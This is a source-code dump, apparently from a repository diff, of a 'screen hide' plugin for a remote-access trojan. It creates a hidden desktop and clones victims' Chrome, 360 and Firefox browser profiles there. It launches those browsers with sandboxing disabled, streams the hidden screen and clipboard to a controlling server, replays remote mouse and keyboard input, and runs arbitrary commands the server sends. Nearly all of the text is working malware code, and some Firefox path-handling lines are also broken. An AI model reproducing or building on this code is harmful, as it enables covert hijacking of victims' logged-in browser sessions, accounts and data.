lstrcat(path, _T("cmd.exe /c start powershell -noexit -command \"[console]::windowwidth = 100;[console]::windowheight = 30; [console]::bufferwidth = [console]::windowwidth\""));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_Chrome: {
TCHAR chromePath[MAX_PATH] = { 0 };
SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath);
lstrcat(chromePath, _T("\\Google\\Chrome\\"));
TCHAR dataPath[MAX_PATH] = { 0 };
lstrcat(dataPath, chromePath);
lstrcat(dataPath, _T("User Data\\"));
TCHAR botId[35] = { 0 };
TCHAR newDataPath[MAX_PATH] = { 0 };
lstrcat(newDataPath, chromePath);
lstrcat(newDataPath, deskName);
CopyDir(dataPath, newDataPath);
TCHAR path[MAX_PATH] = { 0 };
lstrcat(path, _T("cmd.exe /c start "));
lstrcat(path, _T("chrome.exe"));
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --origin-trial-disabled-features=SecurePaymentConfirmation --user-data-dir="));
lstrcat(path, _T("\""));
lstrcat(path, newDataPath);
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_Edge: {
TCHAR path[MAX_PATH] = { 0 };
lstrcat(path, _T("cmd.exe /c start "));
lstrcat(path, _T("msedge.exe"));
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_Brave: {
killproc(_T("brave.exe"));
TCHAR path[MAX_PATH] = { 0 };
lstrcat(path, _T("cmd.exe /c start "));
lstrcat(path, _T("brave.exe"));
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_Firefox: {
TCHAR firefoxPath[MAX_PATH] = { 0 };
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, firefoxPath);
lstrcat(firefoxPath, _T("\\Mozilla\\Firefox\\"));
TCHAR profilesIniPath[MAX_PATH] = { 0 };
lstrcat(profilesIniPath, firefoxPath);
lstrcat(profilesIniPath, _T("TaskbarGlomLevel"));
HANDLE hProfilesIni = CreateFile(profilesIniPath, FILE_READ_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hProfilesIni == INVALID_HANDLE_VALUE)
return;
DWORD profilesIniSize = GetFileSize(hProfilesIni, 0);
DWORD read;
TCHAR* profilesIniContent = new TCHAR[profilesIniSize + 1];
ReadFile(hProfilesIni, profilesIniContent, profilesIniSize, &read, NULL);
profilesIniContent[profilesIniSize] = 0;
TCHAR* isRelativeRead = StrStr(profilesIniContent, _T("IsRelative="));
if (!isRelativeRead) {
CloseHandle(hProfilesIni);
SAFE_DELETE(profilesIniContent);
return;
}
isRelativeRead += 11;
BOOL isRelative = (*isRelativeRead == _T('1'));
TCHAR* path = StrStr(profilesIniContent, _T("Path="));
if (!path) {
CloseHandle(hProfilesIni);
SAFE_DELETE(profilesIniContent);
return;
}
TCHAR* pathEnd = StrStr(path, _T("\r"));
if (!pathEnd) {
CloseHandle(hProfilesIni);
SAFE_DELETE(profilesIniContent);
return;
}
*pathEnd = 0;
path += 5;
TCHAR realPath[MAX_PATH] = { 0 };
if (isRelative)
lstrcpy(realPath, firefoxPath);
lstrcat(realPath, path);
TCHAR newPath[MAX_PATH];
lstrcpy(newPath, firefoxPath);
lstrcpy(newPath, deskName);
CopyDir(realPath, newPath);
TCHAR browserPath[MAX_PATH] = { 0 };
lstrcpy(browserPath, _T("cmd.exe /c start "));
lstrcpy(browserPath, _T("firefox.exe"));
lstrcpy(browserPath, _T(" -no-remote -profile "));
lstrcpy(browserPath, _T("\""));
lstrcpy(browserPath, newPath);
lstrcpy(browserPath, _T("\""));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, browserPath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_Iexplore: {
TCHAR path[MAX_PATH] = { 0 };
lstrcpy(path, _T("cmd.exe /c start "));
lstrcat(path, _T("iexplore.exe"));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_zdy: {
TCHAR path[MAX_PATH] = { 0 };
lstrcpy(path, (TCHAR*)((char*)lpBuffer + 2));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_zdy2: {
ZdyCmd m_ZdyCmd = {};
memcpy(&m_ZdyCmd, (char*)lpBuffer + 2, sizeof(ZdyCmd));
CopyDir(m_ZdyCmd.oldpath, m_ZdyCmd.newpath);
TCHAR path[MAX_PATH] = { 0 };
lstrcpy(path, _T("cmd.exe /c start "));
lstrcat(path, m_ZdyCmd.cmdline);
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
lstrcat(path, _T("\""));
lstrcat(path, m_ZdyCmd.newpath);
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_360JS: {
TCHAR chromePath[MAX_PATH] = { 0 };
SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath);
lstrcat(chromePath, _T("\\360Chrome\\Chrome\\"));
TCHAR dataPath[MAX_PATH] = { 0 };
lstrcpy(dataPath, chromePath);
lstrcat(dataPath, _T("User Data\\"));
TCHAR newDataPath[MAX_PATH] = { 0 };
lstrcpy(newDataPath, chromePath);
lstrcat(newDataPath, deskName);
CopyDir(dataPath, newDataPath);
TCHAR path[MAX_PATH] = { 0 };
lstrcpy(path, _T("cmd.exe /c start "));
lstrcat(path, _T("360chrome.exe"));
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
lstrcat(path, _T("\""));
lstrcat(path, newDataPath);
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_360AQ: {
TCHAR chromePath[MAX_PATH] = { 0 };
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, chromePath);
lstrcat(chromePath, _T("\\"));
TCHAR dataPath[MAX_PATH] = { 0 };
lstrcpy(dataPath, chromePath);
lstrcat(dataPath, _T("secoresdk\\"));
TCHAR newDataPath[MAX_PATH] = { 0 };
lstrcpy(newDataPath, chromePath);
lstrcat(newDataPath, deskName);
CopyDir(dataPath, newDataPath);
lstrcat(newDataPath, _T("\\360se6\\Application\\360se.exe"));
TCHAR path[MAX_PATH] = { 0 };
lstrcpy(path, _T("cmd.exe /c start "));
lstrcat(path, newDataPath);
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_360AQ2: {
TCHAR chromePath[MAX_PATH] = { 0 };
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, chromePath);
lstrcat(chromePath, _T("\\"));
TCHAR dataPath[MAX_PATH] = { 0 };
lstrcpy(dataPath, chromePath);
lstrcat(dataPath, _T("360se6\\"));
TCHAR newDataPath[MAX_PATH] = { 0 };
lstrcpy(newDataPath, chromePath);
lstrcat(newDataPath, deskName);
CopyDir(dataPath, newDataPath);
lstrcat(newDataPath, _T("\\Application\\360se.exe"));
TCHAR path[MAX_PATH] = { 0 };
lstrcpy(path, _T("cmd.exe /c start "));
lstrcat(path, newDataPath);
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
}
}
void CScreenHideManager::InitScreenSpy() {
HDESK hDesk = SelectDesktop((char*)m_DesktopID.c_str());
if (!hDesk) {
hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL);
Mprintf("创建虚拟屏幕%s: %s\n", m_DesktopID.c_str(), hDesk ? "成功" : "失败");
}
else {
Mprintf("打开虚拟屏幕成功: %s\n", m_DesktopID.c_str());
}
if (hDesk) {
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
strcat_s(szExplorerFile, MAX_PATH * 2 - 1, _T("\\Explorer.Exe"));
if (!IsProcessRunningInDesktop(hDesk, szExplorerFile))
{
if (!LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str())) {
Mprintf("启动资源管理器失败[%s]!!!\n", m_DesktopID.c_str());
}
} else {
Mprintf("虚拟屏幕的资源管理器已在运行[%s].\n", m_DesktopID.c_str());
}
SetThreadDesktop(g_hDesk = hDesk);
}
BYTE* param = (BYTE*)m_ptrUser;
int compress = ALGORITHM_DIFF;
if (param) {
compress = param[1];
delete[] param;
m_ptrUser = NULL;
}
m_ScreenSpyObject = new CScreenHideSpy(32, compress);
}
} // namespace SimplePluginsScreenHide
+21
View File
@@ -0,0 +1,21 @@
#pragma once
#include "Manager.h"
#include "ScreenHideSpy.h"
#include "ScreenManagerBase.h"
namespace SimplePluginsScreenHide {
class CScreenHideManager : public CScreenManagerBase
{
public:
CScreenHideManager(ISocketBase* pClient, int nBitDepth, void* user=NULL);
virtual ~CScreenHideManager();
void OnUserCommand(PBYTE lpBuffer, ULONG nSize);
virtual VOID OnReceive(PBYTE lpBuffer, ULONG nSize);
virtual void InitScreenSpy();
};
} // namespace SimplePluginsScreenHide
+22
View File
@@ -0,0 +1,22 @@
#pragma once
#include "ScreenSpy.h"
namespace SimplePluginsScreenHide {
// 隐私屏幕捕获器。
//
// SimplePlugins 原版 CScreenHideSpy 基于其自带的旧 CScreenSpy/ScreenCapture 捕获链
// (jpeg + CaptureFrame/BMP_JPG/ScanChangedRect),已与 YAMA 重写后的编码器捕获层
// (ScreenCapture::GetNextScreenData + EncoderFactory)分叉,故此处改写为直接继承
// YAMA 的 ::CScreenSpy,仅把 vDesk=TRUE(虚拟桌面)传入基类,捕获/编码全部复用基类。
class CScreenHideSpy : public ::CScreenSpy
{
public:
CScreenHideSpy(int biBitCount = 32, int algo = ALGORITHM_DIFF)
: ::CScreenSpy((ULONG)biBitCount, (BYTE)algo, TRUE /* vDesk → m_bVirtualPaint */)
{
}
};
} // namespace SimplePluginsScreenHide
+642
View File
@@ -0,0 +1,642 @@
#pragma once
#include "Manager.h"
#include "ScreenCapture.h"
#include <Shlwapi.h>
#include <ShlObj.h>
#include <tchar.h>
class IOCPClient;
namespace SimplePluginsScreenHide {
class CScreenManagerBase : public CManager {
public: // 构造和析构
CScreenManagerBase(IOCPClient* ClientObject, int nBitDepth, void* user = NULL,
int token= TOKEN_BITMAPINFO) : CManager(ClientObject)
{
m_DlgToken = token;
g_hDesk = nullptr;
m_DesktopID = GetBotId();
m_ptrUser = user;
m_ScreenSpyObject = nullptr;
m_biBitCount = nBitDepth;
m_fps = 10;
m_bIsWorking = TRUE;
m_oldwidth = ::GetSystemMetrics(SM_CXVIRTUALSCREEN);
m_oldheigh = ::GetSystemMetrics(SM_CYVIRTUALSCREEN);
m_point = {};
m_lastPoint = {};
m_lmouseDown = FALSE;
m_hResMoveWindow = nullptr;
m_resMoveType = 0;
m_rmouseDown = FALSE;
m_rclickPoint = {};
m_rclickWnd = nullptr;
m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, CScreenManagerBase::WorkThreadProc, this, 0, NULL);
m_hBlankThread = (HANDLE)__CreateThread(NULL, 0, CScreenManagerBase::ControlThread, this, 0, NULL);
SetReady(TRUE);
}
virtual ~CScreenManagerBase() {
m_bIsWorking = FALSE;
WaitForSingleObject(m_hWorkThread, INFINITE);
WaitForSingleObject(m_hBlankThread, INFINITE);
CloseHandle(m_hWorkThread); m_hWorkThread = NULL;
CloseHandle(m_hBlankThread); m_hBlankThread = NULL;
SAFE_DELETE(m_ScreenSpyObject);
if (g_hDesk) {
auto b = CloseDesktop(g_hDesk);
g_hDesk = NULL;
Mprintf("关闭虚拟屏幕【%s】: %s\n", b ? "成功" : "失败", m_DesktopID.c_str());
}
}
public: // 非纯虚函数
virtual BOOL SendFirstScreen() {
ULONG len = 0;
auto data = m_ScreenSpyObject->GetFirstScreenData(&len);
if (nullptr == data) {
return FALSE;
}
return m_ClientObject->Send2Server((char*)data, 1 + len);
}
virtual bool IsMetricsChange() {
if ((m_oldwidth != ::GetSystemMetrics(SM_CXVIRTUALSCREEN)) || (m_oldheigh != ::GetSystemMetrics(SM_CYVIRTUALSCREEN))) {
if (m_oldwidth == 0 || m_oldheigh == 0) {
return false;
}
m_oldwidth = ::GetSystemMetrics(SM_CXVIRTUALSCREEN);
m_oldheigh = ::GetSystemMetrics(SM_CYVIRTUALSCREEN);
return true;
}
return false;
}
virtual void Loop_Screen() {
// 获取分辨率
int _cx = ::GetSystemMetrics(SM_CXSCREEN);
int _cy = ::GetSystemMetrics(SM_CYSCREEN);
// 修改分辨率
DEVMODE lpDevMode;
lpDevMode.dmBitsPerPel = 32;//每个像素的位数
lpDevMode.dmPelsWidth = 1600;//屏幕宽度(像素)
lpDevMode.dmPelsHeight = 900;//屏幕高度(像素)
lpDevMode.dmSize = sizeof(lpDevMode);
lpDevMode.dmFields =DM_PELSWIDTH| DM_PELSHEIGHT| DM_BITSPERPEL;
LONG result = ChangeDisplaySettings(&lpDevMode, 0);
if (result == DISP_CHANGE_SUCCESSFUL) {
ChangeDisplaySettings(&lpDevMode, CDS_UPDATEREGISTRY);
}
else {
ChangeDisplaySettings(NULL, 0);
}
}
virtual bool IsConnect() { return m_ClientObject->IsRunning(); }
virtual int GetCurrentPixelBits() { return m_biBitCount; }
virtual LPBYTE GetNextScreen(ULONG& ulNextSendLength) {
return m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength);
}
virtual VOID SendNextScreen(LPBYTE szBuffer, ULONG ulNextSendLength) {
m_ClientObject->Send2Server((char*)szBuffer, ulNextSendLength);
}
virtual void ResetScreen(int biBitCount = 32) {
InterlockedExchange((LPLONG)&m_bIsWorking, FALSE);
WaitForSingleObject(m_hWorkThread, INFINITE);
CloseHandle(m_hWorkThread);
SAFE_DELETE(m_ScreenSpyObject);
m_biBitCount = biBitCount;
m_bIsWorking = TRUE;
m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, WorkThreadProc, this, 0, NULL);
}
virtual VOID UpdateClientClipboard(char* szBuffer, ULONG ulLength) {
if (!OpenClipboard(NULL))
return;
EmptyClipboard();
HGLOBAL hGlobal = (HGLOBAL)GlobalAlloc(GMEM_DDESHARE, ulLength);
if (hGlobal != NULL) {
LPTSTR szClipboardVirtualAddress = (LPTSTR)GlobalLock(hGlobal);
if (szClipboardVirtualAddress)
memcpy(szClipboardVirtualAddress, szBuffer, ulLength);
GlobalUnlock(hGlobal);
if (NULL == SetClipboardData(CF_TEXT, hGlobal))
GlobalFree(hGlobal);
}
CloseClipboard();
}
virtual VOID SendClientClipboard() {
if (!OpenClipboard(NULL)) //打开剪切板设备
return;
HGLOBAL hGlobal = (HGLOBAL)GetClipboardData(CF_TEXT); //代表着一个内存
if (hGlobal == NULL) {
CloseClipboard();
return;
}
int iPacketLength = GlobalSize(hGlobal) + 1;
char* szClipboardVirtualAddress = (LPSTR)GlobalLock(hGlobal); //锁定
LPBYTE szBuffer = new BYTE[iPacketLength];
szBuffer[0] = TOKEN_CLIPBOARD_TEXT;
memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
GlobalUnlock(hGlobal);
CloseClipboard();
m_ClientObject->Send2Server((char*)szBuffer, iPacketLength);
delete[] szBuffer;
}
virtual DWORD WorkProcess() {
CScreenManagerBase* This = this;
This->InitScreenSpy();
This->SendBitMapInfo();
if (This->m_bIsWorking)
This->WaitForDialogOpen();
This->SendScreenSize();
clock_t last = clock();
if (!This->SendFirstScreen()) {
Mprintf("Send first screen failed!!!\n");
return 0x20250224;
}
Mprintf("Succeed sending bmpInfo and first screen\n");
float fps = This->m_fps;
const int sleep = 1000 / fps;// 间隔时间(ms)
int c1 = 0; // 连续耗时长的次数
int c2 = 0; // 连续耗时短的次数
int s0 = sleep; // 两帧之间隔(ms)
const int frames = fps; // 每秒调整屏幕发送速度
const double alpha = 1.1; // 控制fps的因子
timeBeginPeriod(1);
while (This->m_bIsWorking) {
ULONG ulNextSendLength = 0;
LPBYTE szBuffer = This->GetNextScreen(ulNextSendLength);
if (NULL == szBuffer) {
continue;
}
int span = s0 - (clock() - last);
Sleep(span > 0 ? span : 1);
if (span < 0) { // 发送数据耗时较长,网络较差或数据较多
c2 = 0;
if (frames == ++c1) { // 连续一定次数耗时长
s0 = (s0 <= 500) ? s0 * alpha : s0;
c1 = 0;
#ifdef _DEBUG
if (s0 > 40)
Mprintf("[+]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000. / s0);
#endif
}
}
else if (span > 0) { // 发送数据耗时比s0短,表示网络较好或数据包较小
c1 = 0;
if (frames == ++c2) { // 连续一定次数耗时短
s0 = (s0 >= 40) ? s0 / alpha : s0;
c2 = 0;
#ifdef _DEBUG
if (s0 > 40)
Mprintf("[-]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000. / s0);
#endif
}
}
last = clock();
This->SendNextScreen(szBuffer, ulNextSendLength);
}
timeEndPeriod(1);
Mprintf("ScreenWorkThread Exit\n");
return 0;
}
virtual DWORD ControlProcess() {
CScreenManagerBase* pThis = this;
pThis->WaitForDialogOpen();
while (pThis->IsConnect() && pThis->m_bIsWorking) {
// 分辨率大小改变了
if (pThis->IsMetricsChange() && pThis->m_bIsWorking) {
pThis->ResetScreen(pThis->GetCurrentPixelBits());
Sleep(2000);
}
Sleep(10);
}
return -1;
}
static DWORD WINAPI WorkThreadProc(LPVOID lParam) {
CScreenManagerBase* pThis = (CScreenManagerBase*)lParam;
return pThis->WorkProcess();
}
static DWORD WINAPI ControlThread(LPVOID lparam) {
CScreenManagerBase* pThis = (CScreenManagerBase*)lparam;
return pThis->ControlProcess();
}
std::wstring ConvertToWString(const std::string& multiByteStr) {
int len = MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, NULL, 0);
if (len == 0) return L""; // 转换失败
std::wstring wideStr(len, L'\0');
MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, &wideStr[0], len);
return wideStr;
}
std::string GetTitle(HWND hWnd) {
char title[256] = { 0 }; // 预留缓冲区(置零,避免无标题/无效窗口时读到未初始化内存)
GetWindowTextA(hWnd, title, sizeof(title));
return title;
}
virtual bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName) {
bool bReturn = false;
try {
if (!pszApplicationFilePath || !pszDesktopName || !strlen(pszApplicationFilePath) || !strlen(pszDesktopName))
return false;
TCHAR szDirectoryName[MAX_PATH * 2] = { 0 };
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
strcpy_s(szDirectoryName, strlen(pszApplicationFilePath) + 1, pszApplicationFilePath);
std::wstring path = ConvertToWString(pszApplicationFilePath);
if (!PathIsExe(path.c_str()))
return false;
PathRemoveFileSpec(szDirectoryName);
STARTUPINFO sInfo = { 0 };
PROCESS_INFORMATION pInfo = { 0 };
sInfo.cb = sizeof(sInfo);
sInfo.lpDesktop = pszDesktopName;
//Launching a application into desktop
BOOL bCreateProcessReturn = CreateProcess(pszApplicationFilePath,
NULL,
NULL,
NULL,
TRUE,
NORMAL_PRIORITY_CLASS,
NULL,
szDirectoryName,
&sInfo,
&pInfo);
CloseHandle(pInfo.hProcess);
CloseHandle(pInfo.hThread);
TCHAR* pszError = NULL;
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, GetLastError(), 0, reinterpret_cast<LPTSTR>(&pszError), 0, NULL);
if (pszError) {
Mprintf("CreateProcess [%s] failed: %s\n", pszApplicationFilePath, pszError);
LocalFree(pszError); // 释放内存
}
if (bCreateProcessReturn)
bReturn = true;
}
catch (...) {
bReturn = false;
}
return bReturn;
}
virtual VOID SendBitMapInfo() {
const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER);
LPBYTE szBuffer = new BYTE[ulLength];
szBuffer[0] = m_DlgToken;
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
m_ClientObject->Send2Server((char*)szBuffer, ulLength);
SAFE_DELETE_ARRAY(szBuffer);
}
virtual void SendScreenSize()
{
RECT rect = m_ScreenSpyObject->GetScreenRect();
BYTE lpBuffer[sizeof(RECT) + 1];
lpBuffer[0] = TOKEN_SCREEN_SIZE;
memcpy(lpBuffer + 1, &rect, sizeof(RECT));
Send(lpBuffer, sizeof(lpBuffer));
}
virtual VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength) {
int msgSize = sizeof(MYMSG);
if (ulLength % 28 == 0) // 32位控制端发过来的消息
msgSize = 28;
else if (ulLength % 48 == 0) // 64位控制端发过来的消息
msgSize = 48;
else return; // 数据包不合法
ULONG ulMsgCount = ulLength / msgSize;
BYTE* ptr = szBuffer;
MSG32 msg32;
MSG64 msg64;
if (nullptr == g_hDesk) {
// 命令个数
// 处理多个命令
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
MYMSG* Msg = msgSize == 48 ? (MYMSG*)ptr :
(MYMSG*)msg64.Create(msg32.Create(ptr, msgSize));
switch (Msg->message) {
case WM_LBUTTONDOWN: case WM_LBUTTONUP:
case WM_RBUTTONDOWN: case WM_RBUTTONUP:
case WM_LBUTTONDBLCLK: case WM_RBUTTONDBLCLK: case WM_MBUTTONDBLCLK:
case WM_MBUTTONDOWN: case WM_MBUTTONUP:
case WM_MOUSEMOVE: {
POINT Point;
Point.x = LOWORD(Msg->lParam);
Point.y = HIWORD(Msg->lParam);
m_ScreenSpyObject->PointConversion(Point);
SetCursorPos(Point.x, Point.y);
SetCapture(WindowFromPoint(Point));
}
break;
default:
break;
}
switch (Msg->message) {
case WM_LBUTTONDOWN:
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
break;
case WM_LBUTTONUP:
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDOWN:
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
break;
case WM_RBUTTONUP:
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_LBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_MBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_MIDDLEDOWN | MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_MIDDLEDOWN | MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
break;
case WM_MBUTTONDOWN:
mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
break;
case WM_MBUTTONUP:
mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
break;
case WM_MOUSEWHEEL:
mouse_event(MOUSEEVENTF_WHEEL, 0, 0, GET_WHEEL_DELTA_WPARAM(Msg->wParam), 0);
break;
case WM_KEYDOWN: case WM_SYSKEYDOWN:
keybd_event(Msg->wParam, MapVirtualKeyA(Msg->wParam, 0), 0, 0);
break;
case WM_KEYUP: case WM_SYSKEYUP:
keybd_event(Msg->wParam, MapVirtualKeyA(Msg->wParam, 0), KEYEVENTF_KEYUP, 0);
break;
default:
break;
}
}
} else { // 虚拟桌面
HWND hWnd = NULL;
BOOL mouseMsg = FALSE;
POINT lastPointCopy = {};
SetThreadDesktop(g_hDesk);
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
MYMSG* msg = msgSize == 48 ? (MYMSG*)ptr :
(MYMSG*)msg64.Create(msg32.Create(ptr, msgSize));
switch (msg->message) {
case WM_KEYUP:
return;
case WM_CHAR:
case WM_KEYDOWN: {
m_point = m_lastPoint;
hWnd = WindowFromPoint(m_point);
break;
}
case WM_RBUTTONDOWN: {
// 记录右键按下时的坐标
m_rmouseDown = TRUE;
m_rclickPoint = msg->pt;
break;
}
case WM_RBUTTONUP: {
m_rmouseDown = FALSE;
m_rclickWnd = WindowFromPoint(m_rclickPoint);
// 检查是否为系统菜单(如任务栏)
char szClass[256] = { 0 };
GetClassNameA(m_rclickWnd, szClass, sizeof(szClass));
Mprintf("Right click on '%s' %s[%p]\n", szClass, GetTitle(m_rclickWnd).c_str(), m_rclickWnd);
if (strcmp(szClass, "Shell_TrayWnd") == 0) {
// 触发系统级右键菜单(任务栏)
PostMessage(m_rclickWnd, WM_CONTEXTMENU, (WPARAM)m_rclickWnd,
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y));
}
else {
// 普通窗口的右键菜单
if (!PostMessage(m_rclickWnd, WM_RBUTTONUP, msg->wParam,
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y))) {
// 附加:模拟键盘按下Shift+F10(备用菜单触发方式)
keybd_event(VK_SHIFT, 0, 0, 0);
keybd_event(VK_F10, 0, 0, 0);
keybd_event(VK_F10, 0, KEYEVENTF_KEYUP, 0);
keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);
}
}
break;
}
default:
{
mouseMsg = TRUE;
m_point = msg->pt;
hWnd = WindowFromPoint(m_point);
lastPointCopy = m_lastPoint;
m_lastPoint = m_point;
if (msg->message == WM_LBUTTONUP) {
if (m_rclickWnd && hWnd != m_rclickWnd)
{
PostMessageA(m_rclickWnd, WM_LBUTTONDOWN, MK_LBUTTON, 0);
PostMessageA(m_rclickWnd, WM_LBUTTONUP, MK_LBUTTON, 0);
m_rclickWnd = nullptr;
}
m_lmouseDown = FALSE;
LRESULT lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
switch (lResult) {
case HTTRANSPARENT: {
SetWindowLongA(hWnd, GWL_STYLE, GetWindowLongA(hWnd, GWL_STYLE) | WS_DISABLED);
lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
break;
}
case HTCLOSE: {// 关闭窗口
PostMessageA(hWnd, WM_CLOSE, 0, 0);
Mprintf("Close window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
break;
}
case HTMINBUTTON: {// 最小化
PostMessageA(hWnd, WM_SYSCOMMAND, SC_MINIMIZE, 0);
Mprintf("Minsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
break;
}
case HTMAXBUTTON: {// 最大化
WINDOWPLACEMENT windowPlacement;
windowPlacement.length = sizeof(windowPlacement);
GetWindowPlacement(hWnd, &windowPlacement);
if (windowPlacement.flags & SW_SHOWMAXIMIZED)
PostMessageA(hWnd, WM_SYSCOMMAND, SC_RESTORE, 0);
else
